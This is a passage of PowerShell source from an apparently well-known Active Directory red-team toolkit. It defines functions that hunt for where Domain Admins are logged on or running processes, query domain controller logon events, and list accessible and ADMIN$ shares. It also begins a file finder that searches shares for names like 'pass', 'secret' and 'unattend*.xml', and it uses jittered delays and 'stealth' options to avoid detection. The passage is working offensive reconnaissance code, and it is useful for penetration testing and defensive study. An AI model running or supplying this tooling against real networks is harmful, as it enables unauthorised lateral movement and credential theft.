                Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)

                Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
                $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, 0, 0, 0
                $Result

                if($Result -and $StopOnSuccess) {
                    Write-Verbose "[*] Target user found, returning early"
                    return
                }
            }
        }

    }
}


function Invoke-StealthUserHunter {
    [CmdletBinding()]
    param(
        [Parameter(Position=0,ValueFromPipeline=$True)]
        [Alias('Hosts')]
        [String[]]
        $ComputerName,

        [ValidateScript({Test-Path -Path $_ })]
        [Alias('HostList')]
        [String]
        $ComputerFile,

        [String]
        $ComputerFilter,

        [String]
        $ComputerADSpath,

        [String]
        $GroupName = 'Domain Admins',

        [String]
        $TargetServer,

        [String]
        $UserName,

        [String]
        $UserFilter,

        [String]
        $UserADSpath,

        [ValidateScript({Test-Path -Path $_ })]
        [String]
        $UserFile,

        [Switch]
        $CheckAccess,

        [Switch]
        $StopOnSuccess,

        [Switch]
        $NoPing,

        [UInt32]
        $Delay = 0,

        [Double]
        $Jitter = .3,

        [String]
        $Domain,

        [Switch]
        $ShowAll,

        [Switch]
        $SearchForest,

        [String]
        [ValidateSet("DFS","DC","File","All")]
        $StealthSource ="All"
    )
    # kick off Invoke-UserHunter with stealth options
    Invoke-UserHunter -Stealth @PSBoundParameters
}


function Invoke-ProcessHunter {
<#
    .SYNOPSIS

        Query the process lists of remote machines, searching for
        processes with a specific name or owned by a specific user.
        Thanks to @paulbrandau for the approach idea.
        
        Author: @harmj0y
        License: BSD 3-Clause

    .PARAMETER ComputerName

        Host array to enumerate, passable on the pipeline.

    .PARAMETER ComputerFile

        File of hostnames/IPs to search.

    .PARAMETER ComputerFilter

        Host filter name to query AD for, wildcards accepted.

    .PARAMETER ComputerADSpath

        The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER ProcessName

        The name of the process to hunt, or a comma separated list of names.

    .PARAMETER GroupName

        Group name to query for target users.

    .PARAMETER TargetServer

        Hunt for users who are effective local admins on a target server.

    .PARAMETER UserName

        Specific username to search for.

    .PARAMETER UserFilter

        A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"

    .PARAMETER UserADSpath

        The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER UserFile

        File of usernames to search for.

    .PARAMETER StopOnSuccess

        Switch. Stop hunting after finding after finding a target user/process.

    .PARAMETER NoPing

        Switch. Don't ping each host to ensure it's up before enumerating.

    .PARAMETER Delay

        Delay between enumerating hosts, defaults to 0

    .PARAMETER Jitter

        Jitter for the host delay, defaults to +/- 0.3

    .PARAMETER Domain

        Domain for query for machines, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ShowAll

        Switch. Return all user location results.

    .PARAMETER SearchForest

        Switch. Search all domains in the forest for target users instead of just
        a single domain.

    .PARAMETER Threads

        The maximum concurrent threads to execute.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target machine/domain.

    .EXAMPLE

        PS C:\> Invoke-ProcessHunter -Domain 'testing'
        
        Finds machines on the 'testing' domain where domain admins have a
        running process.

    .EXAMPLE

        PS C:\> Invoke-ProcessHunter -Threads 20

        Multi-threaded process hunting, replaces Invoke-ProcessHunterThreaded.

    .EXAMPLE

        PS C:\> Invoke-ProcessHunter -UserFile users.txt -ComputerFile hosts.txt
        
        Finds machines in hosts.txt where any members of users.txt have running
        processes.

    .EXAMPLE

        PS C:\> Invoke-ProcessHunter -GroupName "Power Users" -Delay 60
        
        Find machines on the domain where members of the "Power Users" groups have
        running processes with a 60 second (+/- *.3) randomized delay between
        touching each host.

    .LINK

        http://blog.harmj0y.net
#>

    [CmdletBinding()]
    param(
        [Parameter(Position=0,ValueFromPipeline=$True)]
        [Alias('Hosts')]
        [String[]]
        $ComputerName,

        [ValidateScript({Test-Path -Path $_ })]
        [Alias('HostList')]
        [String]
        $ComputerFile,

        [String]
        $ComputerFilter,

        [String]
        $ComputerADSpath,

        [String]
        $ProcessName,

        [String]
        $GroupName = 'Domain Admins',

        [String]
        $TargetServer,

        [String]
        $UserName,

        [String]
        $UserFilter,

        [String]
        $UserADSpath,

        [ValidateScript({Test-Path -Path $_ })]
        [String]
        $UserFile,

        [Switch]
        $StopOnSuccess,

        [Switch]
        $NoPing,

        [UInt32]
        $Delay = 0,

        [Double]
        $Jitter = .3,

        [String]
        $Domain,

        [String]
        $DomainController,

        [Switch]
        $ShowAll,

        [Switch]
        $SearchForest,

        [ValidateRange(1,100)] 
        [Int]
        $Threads,

        [Management.Automation.PSCredential]
        $Credential
    )

    begin {

        if ($PSBoundParameters['Debug']) {
            $DebugPreference = 'Continue'
        }

        # random object for delay
        $RandNo = New-Object System.Random

        Write-Verbose "[*] Running Invoke-ProcessHunter with delay of $Delay"

        #####################################################
        #
        # First we build the host target set
        #
        #####################################################

        # if we're using a host list, read the targets in and add them to the target list
        if($ComputerFile) {
            $ComputerName = Get-Content -Path $ComputerFile
        }

        if(!$ComputerName) { 
            [array]$ComputerName = @()

            if($Domain) {
                $TargetDomains = @($Domain)
            }
            elseif($SearchForest) {
                # get ALL the domains in the forest to search
                $TargetDomains = Get-NetForestDomain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.Name }
            }
            else {
                # use the local domain
                $TargetDomains = @( (Get-NetDomain -Domain $Domain -Credential $Credential).name )
            }

            ForEach ($Domain in $TargetDomains) {
                Write-Verbose "[*] Querying domain $Domain for hosts"
                $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath
            }
        
            # remove any null target hosts, uniquify the list and shuffle it
            $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
            if($($ComputerName.Count) -eq 0) {
                throw "No hosts found!"
            }
        }

        #####################################################
        #
        # Now we build the user target set
        #
        #####################################################

        if(!$ProcessName) {
            Write-Verbose "No process name specified, building a target user set"

            # users we're going to be searching for
            $TargetUsers = @()

            # if we want to hunt for the effective domain users who can access a target server
            if($TargetServer) {
                Write-Verbose "Querying target server '$TargetServer' for local users"
                $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
                    ($_.AccountName).split("/")[1].toLower()
                }  | Where-Object {$_}
            }
            # if we get a specific username, only use that
            elseif($UserName) {
                Write-Verbose "[*] Using target user '$UserName'..."
                $TargetUsers = @( $UserName.ToLower() )
            }
            # read in a target user list if we have one
            elseif($UserFile) {
                $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_}
            }
            elseif($UserADSpath -or $UserFilter) {
                ForEach ($Domain in $TargetDomains) {
                    Write-Verbose "[*] Querying domain $Domain for users"
                    $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {
                        $_.samaccountname
                    }  | Where-Object {$_}
                }
            }
            else {
                ForEach ($Domain in $TargetDomains) {
                    Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
                    $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object {
                        $_.MemberName
                    }
                }
            }

            if ((-not $ShowAll) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
                throw "[!] No users found to search for!"
            }
        }

        # script block that enumerates a server
        $HostEnumBlock = {
            param($ComputerName, $Ping, $ProcessName, $TargetUsers, $Credential)

            # optionally check if the server is up first
            $Up = $True
            if($Ping) {
                $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
            }
            if($Up) {
                # try to enumerate all active processes on the remote host
                # and search for a specific process name
                $Processes = Get-NetProcess -Credential $Credential -ComputerName $ComputerName -ErrorAction SilentlyContinue

                ForEach ($Process in $Processes) {
                    # if we're hunting for a process name or comma-separated names
                    if($ProcessName) {
                        $ProcessName.split(",") | ForEach-Object {
                            if ($Process.ProcessName -match $_) {
                                $Process
                            }
                        }
                    }
                    # if the session user is in the target list, display some output
                    elseif ($TargetUsers -contains $Process.User) {
                        $Process
                    }
                }
            }
        }

    }

    process {

        if($Threads) {
            Write-Verbose "Using threading with threads = $Threads"

            # if we're using threading, kick off the script block with Invoke-ThreadedFunction
            $ScriptParams = @{
                'Ping' = $(-not $NoPing)
                'ProcessName' = $ProcessName
                'TargetUsers' = $TargetUsers
                'Credential' = $Credential
            }

            # kick off the threaded script block + arguments 
            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
        }

        else {
            if(-not $NoPing -and ($ComputerName.count -ne 1)) {
                # ping all hosts in parallel
                $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
                $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
            }

            Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
            $Counter = 0

            ForEach ($Computer in $ComputerName) {

                $Counter = $Counter + 1

                # sleep for our semi-randomized interval
                Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)

                Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
                $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $Credential
                $Result

                if($Result -and $StopOnSuccess) {
                    Write-Verbose "[*] Target user/process found, returning early"
                    return
                }
            }
        }
    }
}


function Invoke-EventHunter {
<#
    .SYNOPSIS

        Queries all domain controllers on the network for account
        logon events (ID 4624) and TGT request events (ID 4768),
        searching for target users.

        Note: Domain Admin (or equiv) rights are needed to query
        this information from the DCs.

        Author: @sixdub, @harmj0y
        License: BSD 3-Clause

    .PARAMETER ComputerName

        Host array to enumerate, passable on the pipeline.

    .PARAMETER ComputerFile

        File of hostnames/IPs to search.

    .PARAMETER ComputerFilter

        Host filter name to query AD for, wildcards accepted.

    .PARAMETER ComputerADSpath

        The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER GroupName

        Group name to query for target users.

    .PARAMETER TargetServer

        Hunt for users who are effective local admins on a target server.

    .PARAMETER UserName

        Specific username to search for.

    .PARAMETER UserFilter

        A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"

    .PARAMETER UserADSpath

        The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER UserFile

        File of usernames to search for.

    .PARAMETER NoPing

        Don't ping each host to ensure it's up before enumerating.

    .PARAMETER Domain

        Domain for query for machines, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER SearchDays

        Number of days back to search logs for. Default 3.

    .PARAMETER SearchForest

        Switch. Search all domains in the forest for target users instead of just
        a single domain.

    .PARAMETER Threads

        The maximum concurrent threads to execute.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Invoke-EventHunter

    .LINK

        http://blog.harmj0y.net
#>

    [CmdletBinding()]
    param(
        [Parameter(Position=0,ValueFromPipeline=$True)]
        [Alias('Hosts')]
        [String[]]
        $ComputerName,

        [ValidateScript({Test-Path -Path $_ })]
        [Alias('HostList')]
        [String]
        $ComputerFile,

        [String]
        $ComputerFilter,

        [String]
        $ComputerADSpath,

        [String]
        $GroupName = 'Domain Admins',

        [String]
        $TargetServer,

        [String[]]
        $UserName,

        [String]
        $UserFilter,

        [String]
        $UserADSpath,

        [ValidateScript({Test-Path -Path $_ })]
        [String]
        $UserFile,

        [String]
        $Domain,

        [String]
        $DomainController,

        [Int32]
        $SearchDays = 3,

        [Switch]
        $SearchForest,

        [ValidateRange(1,100)] 
        [Int]
        $Threads,

        [Management.Automation.PSCredential]
        $Credential
    )

    begin {

        if ($PSBoundParameters['Debug']) {
            $DebugPreference = 'Continue'
        }

        # random object for delay
        $RandNo = New-Object System.Random

        Write-Verbose "[*] Running Invoke-EventHunter"

        if($Domain) {
            $TargetDomains = @($Domain)
        }
        elseif($SearchForest) {
            # get ALL the domains in the forest to search
            $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
        }
        else {
            # use the local domain
            $TargetDomains = @( (Get-NetDomain -Credential $Credential).name )
        }

        #####################################################
        #
        # First we build the host target set
        #
        #####################################################

        if(!$ComputerName) { 
            # if we're using a host list, read the targets in and add them to the target list
            if($ComputerFile) {
                $ComputerName = Get-Content -Path $ComputerFile
            }
            elseif($ComputerFilter -or $ComputerADSpath) {
                [array]$ComputerName = @()
                ForEach ($Domain in $TargetDomains) {
                    Write-Verbose "[*] Querying domain $Domain for hosts"
                    $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath
                }
            }
            else {
                # if a computer specifier isn't given, try to enumerate all domain controllers
                [array]$ComputerName = @()
                ForEach ($Domain in $TargetDomains) {
                    Write-Verbose "[*] Querying domain $Domain for domain controllers"
                    $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.dnshostname}
                }
            }

            # remove any null target hosts, uniquify the list and shuffle it
            $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
            if($($ComputerName.Count) -eq 0) {
                throw "No hosts found!"
            }
        }

        #####################################################
        #
        # Now we build the user target set
        #
        #####################################################

        # users we're going to be searching for
        $TargetUsers = @()

        # if we want to hunt for the effective domain users who can access a target server
        if($TargetServer) {
            Write-Verbose "Querying target server '$TargetServer' for local users"
            $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
                ($_.AccountName).split("/")[1].toLower()
            }  | Where-Object {$_}
        }
        # if we get a specific username, only use that
        elseif($UserName) {
            # Write-Verbose "[*] Using target user '$UserName'..."
            $TargetUsers = $UserName | ForEach-Object {$_.ToLower()}
            if($TargetUsers -isnot [System.Array]) {
                $TargetUsers = @($TargetUsers)
            }
        }
        # read in a target user list if we have one
        elseif($UserFile) {
            $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_}
        }
        elseif($UserADSpath -or $UserFilter) {
            ForEach ($Domain in $TargetDomains) {
                Write-Verbose "[*] Querying domain $Domain for users"
                $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {
                    $_.samaccountname
                }  | Where-Object {$_}
            }
        }
        else {
            ForEach ($Domain in $TargetDomains) {
                Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
                $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object {
                    $_.MemberName
                }
            }
        }

        if (((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
            throw "[!] No users found to search for!"
        }

        # script block that enumerates a server
        $HostEnumBlock = {
            param($ComputerName, $Ping, $TargetUsers, $SearchDays, $Credential)

            # optionally check if the server is up first
            $Up = $True
            if($Ping) {
                $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
            }
            if($Up) {
                # try to enumerate
                if($Credential) {
                    Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {
                        # filter for the target user set
                        $TargetUsers -contains $_.UserName
                    }
                }
                else {
                    Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {
                        # filter for the target user set
                        $TargetUsers -contains $_.UserName
                    }
                }
            }
        }

    }

    process {

        if($Threads) {
            Write-Verbose "Using threading with threads = $Threads"

            # if we're using threading, kick off the script block with Invoke-ThreadedFunction
            $ScriptParams = @{
                'Ping' = $(-not $NoPing)
                'TargetUsers' = $TargetUsers
                'SearchDays' = $SearchDays
                'Credential' = $Credential
            }

            # kick off the threaded script block + arguments 
            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
        }

        else {
            if(-not $NoPing -and ($ComputerName.count -ne 1)) {
                # ping all hosts in parallel
                $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
                $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
            }

            Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
            $Counter = 0

            ForEach ($Computer in $ComputerName) {

                $Counter = $Counter + 1

                # sleep for our semi-randomized interval
                Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)

                Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays, $Credential
            }
        }

    }
}


function Invoke-ShareFinder {
<#
    .SYNOPSIS

        This function finds the local domain name for a host using Get-NetDomain,
        queries the domain for all active machines with Get-NetComputer, then for
        each server it lists of active shares with Get-NetShare. Non-standard shares
        can be filtered out with -Exclude* flags.

        Author: @harmj0y
        License: BSD 3-Clause

    .PARAMETER ComputerName

        Host array to enumerate, passable on the pipeline.

    .PARAMETER ComputerFile

        File of hostnames/IPs to search.

    .PARAMETER ComputerFilter

        Host filter name to query AD for, wildcards accepted.

    .PARAMETER ComputerADSpath

        The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER ExcludeStandard

        Switch. Exclude standard shares from display (C$, IPC$, print$ etc.)

    .PARAMETER ExcludePrint

        Switch. Exclude the print$ share.

    .PARAMETER ExcludeIPC

        Switch. Exclude the IPC$ share.

    .PARAMETER CheckShareAccess

        Switch. Only display found shares that the local user has access to.

    .PARAMETER CheckAdmin

        Switch. Only display ADMIN$ shares the local user has access to.

    .PARAMETER NoPing

        Switch. Don't ping each host to ensure it's up before enumerating.

    .PARAMETER Delay

        Delay between enumerating hosts, defaults to 0.

    .PARAMETER Jitter

        Jitter for the host delay, defaults to +/- 0.3.

    .PARAMETER Domain

        Domain to query for machines, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER SearchForest

        Switch. Search all domains in the forest for target users instead of just
        a single domain.

    .PARAMETER Threads

        The maximum concurrent threads to execute.

    .EXAMPLE

        PS C:\> Invoke-ShareFinder -ExcludeStandard

        Find non-standard shares on the domain.

    .EXAMPLE

        PS C:\> Invoke-ShareFinder -Threads 20

        Multi-threaded share finding, replaces Invoke-ShareFinderThreaded.

    .EXAMPLE

        PS C:\> Invoke-ShareFinder -Delay 60

        Find shares on the domain with a 60 second (+/- *.3)
        randomized delay between touching each host.

    .EXAMPLE

        PS C:\> Invoke-ShareFinder -ComputerFile hosts.txt

        Find shares for machines in the specified hosts file.

    .LINK
    http://blog.harmj0y.net
#>

    [CmdletBinding()]
    param(
        [Parameter(Position=0,ValueFromPipeline=$True)]
        [Alias('Hosts')]
        [String[]]
        $ComputerName,

        [ValidateScript({Test-Path -Path $_ })]
        [Alias('HostList')]
        [String]
        $ComputerFile,

        [String]
        $ComputerFilter,

        [String]
        $ComputerADSpath,

        [Switch]
        $ExcludeStandard,

        [Switch]
        $ExcludePrint,

        [Switch]
        $ExcludeIPC,

        [Switch]
        $NoPing,

        [Switch]
        $CheckShareAccess,

        [Switch]
        $CheckAdmin,

        [UInt32]
        $Delay = 0,

        [Double]
        $Jitter = .3,

        [String]
        $Domain,

        [String]
        $DomainController,
 
        [Switch]
        $SearchForest,

        [ValidateRange(1,100)] 
        [Int]
        $Threads
    )

    begin {
        if ($PSBoundParameters['Debug']) {
            $DebugPreference = 'Continue'
        }

        # random object for delay
        $RandNo = New-Object System.Random

        Write-Verbose "[*] Running Invoke-ShareFinder with delay of $Delay"

        # figure out the shares we want to ignore
        [String[]] $ExcludedShares = @('')

        if ($ExcludePrint) {
            $ExcludedShares = $ExcludedShares + "PRINT$"
        }
        if ($ExcludeIPC) {
            $ExcludedShares = $ExcludedShares + "IPC$"
        }
        if ($ExcludeStandard) {
            $ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$")
        }

        # if we're using a host file list, read the targets in and add them to the target list
        if($ComputerFile) {
            $ComputerName = Get-Content -Path $ComputerFile
        }

        if(!$ComputerName) { 
            [array]$ComputerName = @()

            if($Domain) {
                $TargetDomains = @($Domain)
            }
            elseif($SearchForest) {
                # get ALL the domains in the forest to search
                $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
            }
            else {
                # use the local domain
                $TargetDomains = @( (Get-NetDomain).name )
            }
                
            ForEach ($Domain in $TargetDomains) {
                Write-Verbose "[*] Querying domain $Domain for hosts"
                $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath
            }
        
            # remove any null target hosts, uniquify the list and shuffle it
            $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
            if($($ComputerName.count) -eq 0) {
                throw "No hosts found!"
            }
        }

        # script block that enumerates a server
        $HostEnumBlock = {
            param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin)

            # optionally check if the server is up first
            $Up = $True
            if($Ping) {
                $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
            }
            if($Up) {
                # get the shares for this host and check what we find
                $Shares = Get-NetShare -ComputerName $ComputerName
                ForEach ($Share in $Shares) {
                    Write-Verbose "[*] Server share: $Share"
                    $NetName = $Share.shi1_netname
                    $Remark = $Share.shi1_remark
                    $Path = '\\'+$ComputerName+'\'+$NetName

                    # make sure we get a real share name back
                    if (($NetName) -and ($NetName.trim() -ne '')) {
                        # if we're just checking for access to ADMIN$
                        if($CheckAdmin) {
                            if($NetName.ToUpper() -eq "ADMIN$") {
                                try {
                                    $Null = [IO.Directory]::GetFiles($Path)
                                    "\\$ComputerName\$NetName `t- $Remark"
                                }
                                catch {
                                    Write-Verbose "Error accessing path $Path : $_"
                                }
                            }
                        }
                        # skip this share if it's in the exclude list
                        elseif ($ExcludedShares -NotContains $NetName.ToUpper()) {
                            # see if we want to check access to this share
                            if($CheckShareAccess) {
                                # check if the user has access to this path
                                try {
                                    $Null = [IO.Directory]::GetFiles($Path)
                                    "\\$ComputerName\$NetName `t- $Remark"
                                }
                                catch {
                                    Write-Verbose "Error accessing path $Path : $_"
                                }
                            }
                            else {
                                "\\$ComputerName\$NetName `t- $Remark"
                            }
                        }
                    }
                }
            }
        }

    }

    process {

        if($Threads) {
            Write-Verbose "Using threading with threads = $Threads"

            # if we're using threading, kick off the script block with Invoke-ThreadedFunction
            $ScriptParams = @{
                'Ping' = $(-not $NoPing)
                'CheckShareAccess' = $CheckShareAccess
                'ExcludedShares' = $ExcludedShares
                'CheckAdmin' = $CheckAdmin
            }

            # kick off the threaded script block + arguments 
            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
        }

        else {
            if(-not $NoPing -and ($ComputerName.count -ne 1)) {
                # ping all hosts in parallel
                $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
                $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
            }

            Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
            $Counter = 0

            ForEach ($Computer in $ComputerName) {

                $Counter = $Counter + 1

                # sleep for our semi-randomized interval
                Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)

                Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin
            }
        }
        
    }
}


function Invoke-FileFinder {
<#
    .SYNOPSIS

        Finds sensitive files on the domain.

        Author: @harmj0y
        License: BSD 3-Clause

    .DESCRIPTION

        This function finds the local domain name for a host using Get-NetDomain,
        queries the domain for all active machines with Get-NetComputer, grabs
        the readable shares for each server, and recursively searches every
        share for files with specific keywords in the name.
        If a share list is passed, EVERY share is enumerated regardless of
        other options.

    .PARAMETER ComputerName

        Host array to enumerate, passable on the pipeline.

    .PARAMETER ComputerFile

        File of hostnames/IPs to search.

    .PARAMETER ComputerFilter

        Host filter name to query AD for, wildcards accepted.

    .PARAMETER ComputerADSpath

        The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER ShareList

        List if \\HOST\shares to search through.

    .PARAMETER Terms

        Terms to search for.

    .PARAMETER OfficeDocs

        Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)

    .PARAMETER FreshEXEs

        Switch. Find .EXEs accessed within the last week.

    .PARAMETER LastAccessTime

        Only return files with a LastAccessTime greater than this date value.

    .PARAMETER LastWriteTime

        Only return files with a LastWriteTime greater than this date value.

    .PARAMETER CreationTime

        Only return files with a CreationDate greater than this date value.

    .PARAMETER IncludeC

        Switch. Include any C$ shares in recursive searching (default ignore).

    .PARAMETER IncludeAdmin

        Switch. Include any ADMIN$ shares in recursive searching (default ignore).

    .PARAMETER ExcludeFolders

        Switch. Exclude folders from the search results.

    .PARAMETER ExcludeHidden

        Switch. Exclude hidden files and folders from the search results.

    .PARAMETER CheckWriteAccess

        Switch. Only returns files the current user has write access to.

    .PARAMETER OutFile

        Output results to a specified csv output file.

    .PARAMETER NoClobber

        Switch. Don't overwrite any existing output file.

    .PARAMETER NoPing

        Switch. Don't ping each host to ensure it's up before enumerating.

    .PARAMETER Delay

        Delay between enumerating hosts, defaults to 0

    .PARAMETER Jitter

        Jitter for the host delay, defaults to +/- 0.3

    .PARAMETER Domain

        Domain to query for machines, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER SearchForest

        Search all domains in the forest for target users instead of just
        a single domain.

    .PARAMETER SearchSYSVOL

        Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain.

    .PARAMETER Threads

        The maximum concurrent threads to execute.

    .PARAMETER UsePSDrive

        Switch. Mount target remote path with temporary PSDrives.

    .EXAMPLE

        PS C:\> Invoke-FileFinder

        Find readable files on the domain with 'pass', 'sensitive',
        'secret', 'admin', 'login', or 'unattend*.xml' in the name,

    .EXAMPLE

        PS C:\> Invoke-FileFinder -Domain testing

        Find readable files on the 'testing' domain with 'pass', 'sensitive',
        'secret', 'admin', 'login', or 'unattend*.xml' in the name,

    .EXAMPLE

        PS C:\> Invoke-FileFinder -IncludeC

        Find readable files on the domain with 'pass', 'sensitive',
        'secret', 'admin', 'login' or 'unattend*.xml' in the name,
        including C$ shares.

    .EXAMPLE

        PS C:\> Invoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv

        Enumerate a specified share list for files with 'accounts' or
        'ssn' in the name, and write everything to "out.csv"

    .LINK
        http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/

#>

    [CmdletBinding()]
    param(
        [Parameter(Position=0,ValueFromPipeline=$True)]
        [Alias('Hosts')]
        [String[]]
        $ComputerName,

        [ValidateScript({Test-Path -Path $_ })]
        [Alias('HostList')]
        [String]
        $ComputerFile,

        [String]
        $ComputerFilter,

        [String]
        $ComputerADSpath,

        [ValidateScript({Test-Path -Path $_ })]
        [String]
        $ShareList,

        [Switch]
        $OfficeDocs,

        [Switch]
        $FreshEXEs,

        [Alias('Terms')]
        [String[]]
        $SearchTerms, 

        [ValidateScript({Test-Path -Path $_ })]
        [String]
        $TermList,

        [String]
        $LastAccessTime,

        [String]
        $LastWriteTime,

        [String]
        $CreationTime,

        [Switch]
        $IncludeC,

        [Switch]
        $IncludeAdmin,

        [Switch]
        $ExcludeFolders,

        [Switch]
        $ExcludeHidden,

        [Switch]
        $CheckWriteAccess,

        [String]
        $OutFile,

        [Switch]
        $NoClobber,

        [Switch]
        $NoPing,

        [UInt32]
        $Delay = 0,

        [Double]
        $Jitter = .3,

        [String]
        $Domain,

        [String]
        $DomainController,
        
        [Switch]
        $SearchForest,

        [Switch]
        $SearchSYSVOL,

        [ValidateRange(1,100)] 
        [Int]
        $Threads,

        [Switch]
        $UsePSDrive
    )

    begin {
        if ($PSBoundParameters['Debug']) {
            $DebugPreference = 'Continue'
        }

        # random object for delay
        $RandNo = New-Object System.Random

        Write-Verbose "[*] Running Invoke-FileFinder with delay of $Delay"

        $Shares = @()

        # figure out the shares we want to ignore
        [String[]] $ExcludedShares = @("C$", "ADMIN$")

        # see if we're specifically including any of the normally excluded sets
        if ($IncludeC) {
            if ($IncludeAdmin) {
                $ExcludedShares = @()
            }
            else {
                $ExcludedShares = @("ADMIN$")
            }
        }

        if ($IncludeAdmin) {
            if ($IncludeC) {
                $ExcludedShares = @()
            }
            else {
                $ExcludedShares = @("C$")
            }
        }

        # delete any existing output file if it already exists
        if(!$NoClobber) {
